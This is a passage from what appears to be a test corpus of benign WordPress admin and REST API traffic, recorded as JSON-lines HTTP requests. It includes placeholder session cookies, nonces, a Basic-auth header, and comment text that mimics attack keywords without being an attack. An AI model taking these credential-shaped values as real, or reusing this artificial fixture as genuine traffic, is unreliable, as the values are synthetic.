Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/user-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203364"], "body": "action=createuser&_wpnonce_create-user=0a10e6c68f&_wp_http_referer=%2Fwp-admin%2Fuser-new.php&user_login=author2&email=author2%40example.com&first_name=&last_name=&url=&pass1=Pw-for-author2-is-long%21&pass2=Pw-for-author2-is-long%21&send_user_notification=1&role=subscriber&createuser=Add+User"} +{"method": "GET", "target": "/wp-admin/users.php?update=add&id=2", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/user-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203364"], "body": ""} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 79", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203365"], "body": "_ajax_nonce=575b959a1d&action=dim-comment&id=2&dimClass=unapproved&new=approved"} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 81", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203365"], "body": "_ajax_nonce=575b959a1d&action=dim-comment&id=2&dimClass=unapproved&new=unapproved"} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 358", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203369"], "body": "newcomment_author=&newcomment_author_email=&newcomment_author_url=&action=replyto-comment&comment_ID=2&comment_post_ID=1&status=&position=-1&checkbox=1&mode=detail&_ajax_nonce-replyto-comment=465b2dff40&_wp_unfiltered_html_comment=8f43bb2d1f&content=Thanks%2C+Jo!+Try+%60ls+-la%60+and+%3Cb%3Ethen%3C%2Fb%3E+restart.&id=1&comments_listing=all&approve_parent=1"} +{"method": "GET", "target": "/wp-admin/comment.php?action=editcomment&c=2", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203369"], "body": ""} +{"method": "POST", "target": "/wp-admin/comment.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 613", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/comment.php?action=editcomment&c=2", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203373"], "body": "_wpnonce=e9770a5628&_wp_http_referer=%2Fwp-admin%2Fcomment.php%3Faction%3Deditcomment%26c%3D2&action=editedcomment&comment_ID=2&comment_post_ID=1&newcomment_author=Jo+Reader&newcomment_author_email=jo%40example.com&newcomment_author_url=https%3A%2F%2Fexample.org%2F&content=An+edited+comment%2C+it%27s+about+select+wines.&closedpostboxesnonce=b39bd4c73a&comment_status=1&mm=11&jj=09&aa=2026&hh=05&mn=45&ss=44&hidden_mm=11&cur_mm=11&hidden_jj=09&cur_jj=09&hidden_aa=2026&cur_aa=2026&hidden_hh=05&cur_hh=05&hidden_mn=45&cur_mn=49&comment_parent=0&save=Update&c=2&p=1&referredby=&_wp_original_http_referer=&noredir=1"} +{"method": "GET", "target": "/wp-admin/edit-comments.php?p=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/comment.php?action=editcomment&c=2", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203373"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=23&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203386"], "body": ""} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 263", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php?post_type=page", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203393"], "body": "data%5Bwp-check-locked-posts%5D%5B%5D=post-10&data%5Bwp-check-locked-posts%5D%5B%5D=post-16&data%5Bwp-check-locked-posts%5D%5B%5D=post-3&data%5Bwp-check-locked-posts%5D%5B%5D=post-2&interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=edit-page&has_focus=true"} +{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=24&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php?post_type=page", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""} +{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/images/botany-flowers-closeup.webp", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""} +{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/images/red-hibiscus-closeup.webp", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""} +{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/images/grid-flower-2.webp", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""} +{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/images/campanula-alliariifolia-flower.webp", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""} +{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/images/delphinium-flowers.webp", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/template-parts/twentytwentyfive//header?context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/template-parts/twentytwentyfive//footer?context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/posts?context=edit&offset=0&order=desc&orderby=date&per_page=3&ignore_sticky=false&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/posts?context=edit&offset=0&order=desc&orderby=date&per_page=12&ignore_sticky=false&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/menus?context=view&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""} +{"method": "GET", "target": "/wp-json/wp-block-editor/v1/navigation-fallback?_embed=true&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/types/post?context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/navigation?context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""} +{"method": "GET", "target": "/?customize_changeset_uuid=f8b37173-205c-47cb-8499-41107f2fbe14&customize_theme=twentytwentyfive&customize_messenger_channel=preview-0", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/customize.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203401"], "body": ""} +{"method": "POST", "target": "/wp-json/wp/v2/users/me/application-passwords?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 28", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/profile.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432"], "body": "{\"name\":\"Example phone app\"}"} +{"method": "GET", "target": "/wp-json/", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/posts?per_page=5&search=hello", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""} +{"method": "POST", "target": "/wp-json/wp/v2/posts", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "content-type: application/json", "content-length: 77", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": "{\"title\": \"From the app\", \"content\": \"

It's a test

\", \"status\": \"draft\"}"} +{"method": "GET", "target": "/wp-json/wp/v2/pages?slug=sample-page", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/users/me?context=edit", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""} +{"method": "POST", "target": "/wp-json/wp/v2/comments", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "content-type: application/json", "content-length: 102", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": "{\"post\": 1, \"content\": \"A note from the app\", \"author_name\": \"Bob\", \"author_email\": \"bob@example.com\"}"} +{"method": "GET", "target": "/?rest_route=/wp/v2/posts&per_page=2", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""} +{"method": "GET", "target": "/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fblog.example%2Fhello-world%2F", "headers": ["user-agent: 